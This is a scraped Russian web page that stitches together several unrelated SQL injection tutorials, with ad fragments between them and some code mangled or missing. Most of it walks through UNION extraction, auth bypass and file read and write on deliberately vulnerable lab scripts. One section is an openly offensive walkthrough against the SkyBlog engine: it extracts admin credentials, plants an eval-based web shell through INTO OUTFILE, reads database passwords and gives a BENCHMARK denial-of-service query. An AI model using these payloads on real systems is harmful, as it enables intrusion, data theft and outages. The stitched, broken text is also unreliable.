sonyps4.ru

Как внедрить sql инъекции программы. Практический пример простой SQL-инъекции

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Теги: Добавить метки

Представляем вашему вниманию новый курс от команды The Codeby - "Тестирование Веб-Приложений на проникновение с нуля". Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, Активный фаззинг, Уязвимости, Пост-эксплуатация, Инструментальные средства, Social Engeneering и многое другое.


Суть SQL-инъекций

Наверное, уже слышали шутку из Интернета: «Почему во всех уроках рисования одно и тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем глаз совы. А потом — раз — за пять минут - рисуем оставшуюся часть совы ».

Вот даже картинка по этому поводу есть:

По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные). При этом не многие из них прибавляют понимания по этому вопросу. Особенно если вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…

Цель этой заметки - натянуть глаз на сову дать нормальное просто объяснение, что же такое SQL-инъекции, в чём заключается их суть, насколько и почему они опасны .

Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:

Для доступа к Бобруйской районной библиотеке введите Ваши учётные данные:

Введите ваше имя

Введите ваш пароль


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); } $name = filter_input(INPUT_GET, "name"); $password = filter_input(INPUT_GET, "password"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) { while ($obj = $result->fetch_object()) { echo "

Ваше имя: $obj->name

Ваш статус: $obj->status

Доступные для Вас книги: $obj->books


"; } } else { printf("Ошибка: %sn", $mysqli->error); } $mysqli->close(); ?>

Вы намного больше поймёте, если будете всё делать вместе со мной. Поэтому вот . В нём два файла: index.php и db_library.sql . Файл index.php разместите в любое место на сервере - это и есть наш уязвимый скрипт. А файл db_library.sql нужно импортировать, например, при помощи phpMyAdmin.

В файл index.php в качестве имени пользователя базы данных задан root, а пароль - пустой. Вы можете вписать свои данные, отредактировав строчку:

$mysqli = new mysqli("localhost", "root", "", "db_library");

По легенде, это форма входа в он-лайн версию Бобруйской районной библиотеки. Нам уже дали учётные данные: имя пользователя - Demo, пароль - 111 .

Давайте введём их и посмотрим:

Наши учётные данные приняты, на экраны выведено наше имя, статус и доступные для нас книги. Можете попробовать, с любыми другими данными (если поменять имя или пароль) мы не сможем войти и посмотреть доступные для чтения книги. Также мы не можем узнать, какие книги доступны для остальных, поскольку мы не знаем их имени и пароля.

Подсмотрим в исходный код, чтобы понять, как произошёл запрос к базе данных:

SELECT * FROM `members` WHERE name = "$name" AND password ="$password"

Слово SELECT в SQL-запросе показывает, какие данные нужно получить. Например, можно было бы указать SELECT name, или SELECT name, password. Тогда в первом бы случае из таблицы было бы получено только имя, а во втором - только имя и пароль. Звёздочка говорит, что нужно получить все значения. Т.е. SELECT * — это означает получить все значения.

FROM говорит откуда их нужно получить. После FROM следует имя таблицы, т. е. запись FROM `members` говорит, получить из таблицы `members`.

Далее WHERE , если вы изучали какие-либо языки программирования, то это слово больше всего напоминает «Если». А дальше идут условия, эти условия могут быть истинными (1) или ложными (0). В нашем случае

(name = ‘$name’) AND (password =’$password’)

означает, что условие будет истинным, если переданная переменная $name будет равна значению поля name в таблице и переданная переменная ‘$password будет равна значению поля password в таблице. Если хотя бы одно условия не выполняется (неверное имя пользователя или пароль), то из таблицы ничего не будет взято., т. е. выражение SELECT * FROM `members` WHERE name = ‘$name’ AND password =’$password’ означает: в таблице `members` взять значения всех полей, если для них выполняется условие - совпадают переданное имя пользователя и пароль с теми, которые встречаются в таблице.

Это понятно. Давайте теперь, например, с именем пользователя подставим одиночную кавычку:

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Никакие данные не получены, вместо них мы видим ошибку:

Ошибка: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "111"" at line 1

При введении верных данных, наш запрос выглядел так:

SELECT * FROM `members` WHERE name = "Demo" AND password ="111"

При добавлении кавычки, наш запрос превращается в следующее:

SELECT * FROM `members` WHERE name = "Demo" " AND password ="111"

Я поставил дополнительные пробелы для наглядности, т. е. у нас получается запрос

кстати, запрос верный по синтаксису. И сразу после него, без каких либо разделителей идёт продолжение запроса:

" AND password ="111"

Оно-то всё и ломает, поскольку количество открывающих и закрывающих кавычек не равно. Можно, например, подставить ещё одну кавычку:

SELECT * FROM `members` WHERE name = "Demo" " " AND password ="111"

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Ошибка исчезла, но осмысленности это в запрос не добавило. Нам мешает бессмысленный хвост запроса. Как бы нам от него избавиться?

Ответ есть - это комментарии.

Комментарии в MySQL можно задать тремя способами:

# (решётка - работает до конца строки)

(два тире - работают до конца строки, нужен символ пробела после двух тире)

/* это комментарий */ группа из четырёх символов - всё, что внутри - это комментарий, всё, что до или после этой группы символов, не считается комментарием.

Давайте в наш запрос с одной кавычкой, после этой кавычки поставим знак комментария, чтобы отбросить хвостик, и знак +, который обозначает пробел, чтобы запрос получился таким:

SELECT * FROM `members` WHERE name = "Demo" --+ " AND password ="111"

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’—+&password=111

Ошибка не только исчезла, но и выведены корректные данные для пользователя Demo. Поскольку теперь наш запрос приобрёл вид

SELECT * FROM `members` WHERE name = "Demo"

ведь хвостик —+ ‘ AND password =’111’ превратился в комментарий и больше на запрос не влияет.

Посмотрите ещё раз внимательно на новый запрос:

SELECT * FROM `members` WHERE name = "Demo"

И в нём больше не проверяется пароль! Т.е. зная имена легитимных пользователей, но не зная их паролей, мы можем просматривать их личные данные. Т.е. мы уже начали эксплуатировать SQL-инъекцию.

К сожалению, я не знаю ни одного легитимного имени и мне нужно придумать что-то другое.

Посмотрим внимательно на эту часть запроса:

WHERE name = "Demo"

Помните про AND, которое используется в первом запросе? Оно означает логическую операции «И». Напомню, логическая операции «И» выдаёт «истина» (1) только если оба выражения являются истиной. Но логический оператор «ИЛИ» выдаёт «истина» (1) даже если хотя бы одно из выражений является истиной. Т.е. выражение

WHERE name = "Demo" OR 1

всегда будет истиной, всегда будет возвращать 1. Поскольку одно из двух сравниваемых выражений всегда возвращает 1.

Т.е. нам нужно составить выражение, которое будет выгладить так:

SELECT * FROM `members` WHERE name = "Demo" OR 1

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ OR 1 —+ &password=111

Результат:

Результат отличный! Мы получили список всех записей в таблице.

ORDER BY и UNION - главные друзья SQL-инъекций

Мы уже сейчас получили данные, которые были недоступны тем, у кого нет валидных имени пользователя и пароля. Можно ли что-то ещё получить? Да, можно получить полный дамп этой таблицы (напомню, у нас по прежнему нет паролей. Более того, мы можем получить все данные из всех баз на этом сервере через одну крошечную дырочку!

UNION позволяет объединять SQL-запросы. В реальной жизни у меня задачи простые, поэтому и простые запросы к базам данных и возможностями UNION я не пользуюсь. Но вот для SQL-инъекций ценнее этого слова нет.

UNION позволяет довольно гибко объединять SQL-запросы с SELECT, в том числе и от разных баз данных. Но есть важное требование к синтаксису: количество столбцов в первом SELECT должно равняться количеству столбцов во втором SELECT.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка:

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 —+ &password=111

Запрос выглядит так:

SELECT * FROM `members` WHERE name = "-1" ORDER BY 1

Мы заменили имя пользователя на -1 чтобы не выводились никакие данные.

Ошибки нет, также нет ошибки и при запросах

SELECT * FROM `members` WHERE name = "-1" ORDER BY 2 SELECT * FROM `members` WHERE name = "-1" ORDER BY 3 SELECT * FROM `members` WHERE name = "-1" ORDER BY 4 SELECT * FROM `members` WHERE name = "-1" ORDER BY 5

А вот запрос

SELECT * FROM `members` WHERE name = "-1" ORDER BY 6

ему соответствует адресная стркоа

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 —+ &password=111

Выдал ошибку

Ошибка: Unknown column "6" in "order clause"

Это означает, что из таблицы выбираются данные по пяти колонкам.

Конструируем наш запрос с UNION:

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях - не очень важно. Можно, например, прописать просто цифры - и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.

SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2,3,4,5

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 —+ &password=111

Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:

SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1 SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2 SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2,3 SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2,3,4

Все они будут вызывать одну и туже ошибку:

Ошибка: The used SELECT statements have a different number of columns

Делайте так пока не исчезнет сообщение об ошибке.

Обратите внимание, что содержимое некоторых полей UNION SELECT 1,2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции, которые можно писать непосредственно в UNION:

  • DATABASE() — показать имя текущей базы данных
  • CURRENT_USER() — показывает имя пользователя и имя хоста
  • @@datadir - выводит абсолютный путь до базы данных
  • USER() — имя пользователя
  • VERSION() — версия базы данных

В нашем примере выводятся поля 2, 4 и 5. Т.е. мы можем использовать любое из этих полей.

Используем DATABASE() в UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() —+ &password=111

Результат:

Используем CURRENT_USER() в UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,CURRENT_USER() —+ &password=111

Результат:

Используем @@datadir в UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,@@datadir —+ &password=111

Результат:

Получение имён таблицы, полей и дамп базы данных

В базе данных information_schema есть таблица, которая называется tables . В этой таблице содержится список всех таблиц, которые присутствуют во всех базах данных этого сервера. Мы можем отобрать наши таблицы, ища в поле table_schema название нашей базы данных - ‘db_library’ (имя мы узнали с помощью DATABASE()).

Это называется полная техника UNION. Материала по ней предостаточно в Интернете. На моём же MySQL сервере полная техника UNION не работает. У меня появляется ошибка

Ошибка: Illegal mix of collations for operation "UNION"

Не работает не из-за кривизны рук, поскольку у sqlmap также эта техника не приносит результатов:

Something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique

Возможно, это связано с версией MySQL 5.6. Т.к. привести практических примеров я не могу, а переписывать чужие неработающие команды мне не интересно - сейчас и без меня в Интернете развелось «великих теоретиков» сколько угодно, то я решил сразу перейти к рассмотрению частичной технике UNION. Но это не самая простая техника, да и статья уже получилась достаточно большой.

п.с. ах да, забыл про LIMIT. Тоже в следующий раз расскажу о роли LIMIT в SQL-инъекциях.

Гарант является доверенным посредником между Участниками при проведении сделки.


Простейшая SQL инъекция для чайников


В этой статье я объясню основы SQL Injection с примером, который показывает SQL-инъекцию.

Как следует из названия, эту атаку можно выполнить с помощью SQL-запросов. Многие веб-разработчики не знают, как злоумышленник может вмешиваться в SQL-запросы. SQL-Injection может выполняться в веб-приложении, которое не фильтрует вход пользователя должным образом и не доверяет тому, что предоставляет пользователь. Идея SQL-инъекции - заставить приложение запускать нежелательные SQL-запросы.

Конечно, мы не хакеры, но чтобы уметь защищаться, надо понимать, как действует враг. Все примеры, упомянутые в этой статье, протестированы на такой конфигурации:

  • PHP version: 5.4.45
  • Веб-сервер:Apache
  • Тип сервера баз данных: MariaDB
  • Версия сервера: 10.1.26-MariaDB
Пример внедрения SQL

Большинство веб-приложений имеют страницу входа. Поэтому мы начнем с этого. Предположим, что есть такая форма:

Имя пользователя: Пароль
Когда пользователь вводит имя пользователя и пароль, он будет отправлен на sql.php через метод HTTP_POST: Пример максимально упрощен для понимания. Что здесь происходит? Мы , а затем к таблице «test_in» делаем запрос на выборку. Если поля имя пользователя и пароль совпадают, то в результате функция mysql_fetch_row() будет выдавать хотя бы один результат, то есть отличаться от “false”. Пятая строка в данном php-скрипте уязвима. Попробуйте оставить поле пароля пустым, а в логин ввести следующее:

Тогда результат всегда будет "Вы вошли"!

То есть мы получаем доступ к информации, которая должна по идее выдаваться только пользователю, знающему связку «логин-пароль». Почему так происходит?

Дело в том, что тогда выполняется вот такая строка:

SELECT * from test_in where user_name="" OR 1=1 -- " and password="" А здесь условие такое: или имя пользователя должно быть равным ничему или же единица должна быть единице. Понятно, что последнее условие выполняться всегда, поэтому и результат будет отличным от “false”. А чтобы не выполнялось еще одно условие (проверка на пароль) – мы закомментируем конец строки. Не забудьте только после перед двумя тире поставить хотя бы один пробел – иначе будет ошибка синтаксиса.

Понятно, что для того, чтобы выполнить такой запрос, надо хотя бы знать, как именно происходит авторизация пользователя. Однако, у взломщиков есть множество шаблонов для sql-инъекций.

Итак, в этой статье мы научились создавать простейшую sql-инъекцию. В следующий статьях я разовью данную тему, а также научу, как защищаться от несанкционированного доступа. А если вам требуется проверить вашу систему, то вы можете

Приветствую всех! В этой теме я покажу примеры SQL injection. Хочу продемонстрировать, насколько опасны могут быть скрипты и сайты. Если вы вообще в этом нечего не понимаете, пропустите весь текст и насладитесь видеороликами, которые представлены ниже.

Все буду показывать на примере SkyBlog.

Получение логина и пароля админ центра

Чтобы осуществить взлом, надо знать основы SQL запросов и найти уязвимость на сайте.

Пункт 1. Поиск уязвимостей.

На двух страницах SkyBlog есть уязвимость - пропущен фильтр одинарных кавычек

  1. index.php?catid="
  2. wievblog.php?id="

Чтобы изменить стандартный запрос в базу - на свой запрос, мы введем:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,5+--+1

Примечание. Начальный запрос: "SELECT * FROM skyblog_cat WHERE id="$catid" "
Наш запрос: "SELECT * FROM skyblog_cat WHERE id="-1"+UNION+SELECT+1,2,3,4,5+--+1""

catid=-1" - несуществующее значение
UNION - объединение запросов
SELECT ... - собственно наш запрос

На странице index выведет 5, а это значит - будем менять идентичное значение.

Пункт 2. Определение таблиц.

У SkyBlog все таблицы одинаковы, так что можете перейти к 4 пункту.

В основном на всех серверах есть база information_ schema . В ней хранятся все таблицы и поля.
Чтобы найти нужную нам таблицу, изменим запрос:
index.php?catid=-1"+UNION+SELECT+1,2,3,4,+TABLE_NAME+FROM+information_schema.tables+LIMIT+1,+1+--+1

Где TABLE_NAME - название таблиц, а TABLES - таблица, в которой ищем с помощью LIMIT, его перебираем вручную. В конечном итоге мы найдем таблицу skyblog_nastr .

Пункт 3. Поиск существующих полей в таблицах.

index.php?catid=-1"+UNION+SELECT+1,2,3,4,+COLUMN_NAME+FROM +information_schema.columns+WHERE+TABLE_NAME="skyblog_nastr"+LIMIT+2,+1+--+1

В таблице COLUMNS содержатся значения всех полей во всех таблицах, поэтому мы будем искать поля только в skyblog_nastr. Все аналогично пункту 2.

Мы узнаем, что логин хранится в поле name , а пароль в поле pass (причем не в захешированном виде).

Пункт 4. Получаем логин и пароль от админки.

Путем легких манипуляций. Мы с легкостью выводим логин:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,name+FROM+skyblog_nastr+--+1

и пароль:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,pass+FROM+skyblog_nastr+--+1

После чего полученные данные вводим в системе авторизации, которая находится по адресу:

http://example/ admin/

Полный доступ к сайту. Удаленное создание файлов.

Как вы думаете, можно ли загрузить файл через SQL injection? Конечно, нет! Загрузить файл не получиться, зато можно его создать! Воспользуемся запросом INTO OUTFILE . Функция удобна, когда надо выгрузить результаты запроса. Нам лишь надо будет подделать результат запроса и найти путь до сайта.

index.php?catid=-1"+UNION+SELECT+1,2,3,"Hello+world!",5+INTO+OUTFILE+"1.php"+--+1

Сервер ошибок не вывел, а это значит - функция сработала. Вот только где создался файл? Чтобы это узнать добавим перед 1.php какую-нибудь левую папку (например: home/1.php).

Если мы не угадали, то выведет ошибку: Can"t create/write to file "\usr\local\mysql-5.1\data\home\1.php" (Errcode: 2)

Она нам пишет, что не может создать/заменить файл, и выводит полный путь от корня сервера.

Собственно нам надо подняться на 4 папки вверх, чтобы попасть в корень сервера, и там уже методом научного тыка, найти путь до сайта.

index.php?catid=-1"+UNION+SELECT+1,2,3,"Hello+world!",5%20INTO+OUTFILE+"../../../../home/example/www/1.txt"+--+1

Примечание . Данный пример показывает, что я выхожу на 4 папки вверх, дальше иду в направлении: home > example > www.

  • htdocs/
  • www/example (и на оборот)
  • public_html/
  • example/html (и на оборот)

Ура! Наш файл находится по адресу: http://example/1.txt

А вывел он нам: 1 2 3 hello world! 5

Управление взломанным сайтом.

Мы смогли удаленно создать файл на сервере, но что нас останавливает добить этот скрипт? Останавливает нас только совесть. Ничего, она со мной в доле. Так что я продолжу издеваться над скриптом.

Нам пригодятся знания PHP.

Пункт 1. Исполняющий скрипт.

Мы знаем путь для создания файла: ../../../../home/example/www/

Сейчас мы создадим скрипт

Eval($_GET[x]);

Примечание. mixed eval (string $code_str)
Исполняет строку, переданную в параметре code_str, как код PHP.

http://example/index.php?catid=-1"+UNION+SELECT+1,2,3,"", 5+INTO+OUTFILE+"../../../../home/example/www/1.php"+--%201

Проверяем существование файла: example/1.php ... Мы создали монстра.

Пункт 2. Исходный код сайта.

Теперь будем управлять сайтом через наш новый скрипт.

$s=file_get_contents ("index.php");
echo nl2br(htmlspecialchars($s));

Примечание. file_get_contents() возвращает содержимое файла в строке

example/1.php?x=$s=file_get_contents+("index.php");+echo+nl2br(htmlspecialchars($s));

Мы получим исходный код главного файла. Там мы найдем уже путь, хост, логин и пароль к MySql

Пункт 3. Создание файла PHP.

Давайте теперь создадим файл на сервере, используя наш новый скрипт.

Код создания файла:

$str = "Hello World!";
$file = fopen ("2.php","w");
fputs ($file, $str);
fclose ($file);

В переменную $str мы будем заносить наш зловредный код.

DDOS базы данных MySQL, используя SQL injection

Запрос для ддоса выглядит так:

SELECT BENCHMARK(300000,md5(current_time))

Это действие сервер выполнить примерно за 1 сек.

SELECT BENCHMARK(300000, BENCHMARK(500000,md5(current_time)))

Я не знаю как долго он это будет делать, но думаю прилично долго

SQL-инъекция для новичков

SQL-инъекция - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).

В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" AND password ="111"

Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = "Demo") и (AND) значение поля password равно величине 111 (password ="111").

Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = "Demo" AND password ="111" является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

При этом значения «Demo» и «111» приложение получает от пользователя - например, в форме входа на сайт.

Предположим, что вместо Demo пользователь ввёл такую строку:

Demo" --

Тогда запрос к базе данных будет иметь вид:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" -- " AND password ="111"

Две чёрточки () - означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть " AND password ="111"

Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo"

В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.

Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.

Эксплуатации SQL-инъекции

Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

  • Балансировка
  • Внедрение
  • Комментирование

Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

Комментарии в MySQL начинаются с символов:

Т.е. вместо

Demo" --

можно было бы ввести

Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

Demo" OR 1 --

то получится запрос

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1 -- " AND password ="111"

Уберём закомментированную часть:

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1

Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

В нашем примере после введённого значения Demo мы ставили одинарную кавычку ("), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

Для запросов с цифрой:

SELECT * FROM table_name WHERE id=1 SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=(1) SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

Для запросов со строкой:

SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

то имя пользователя

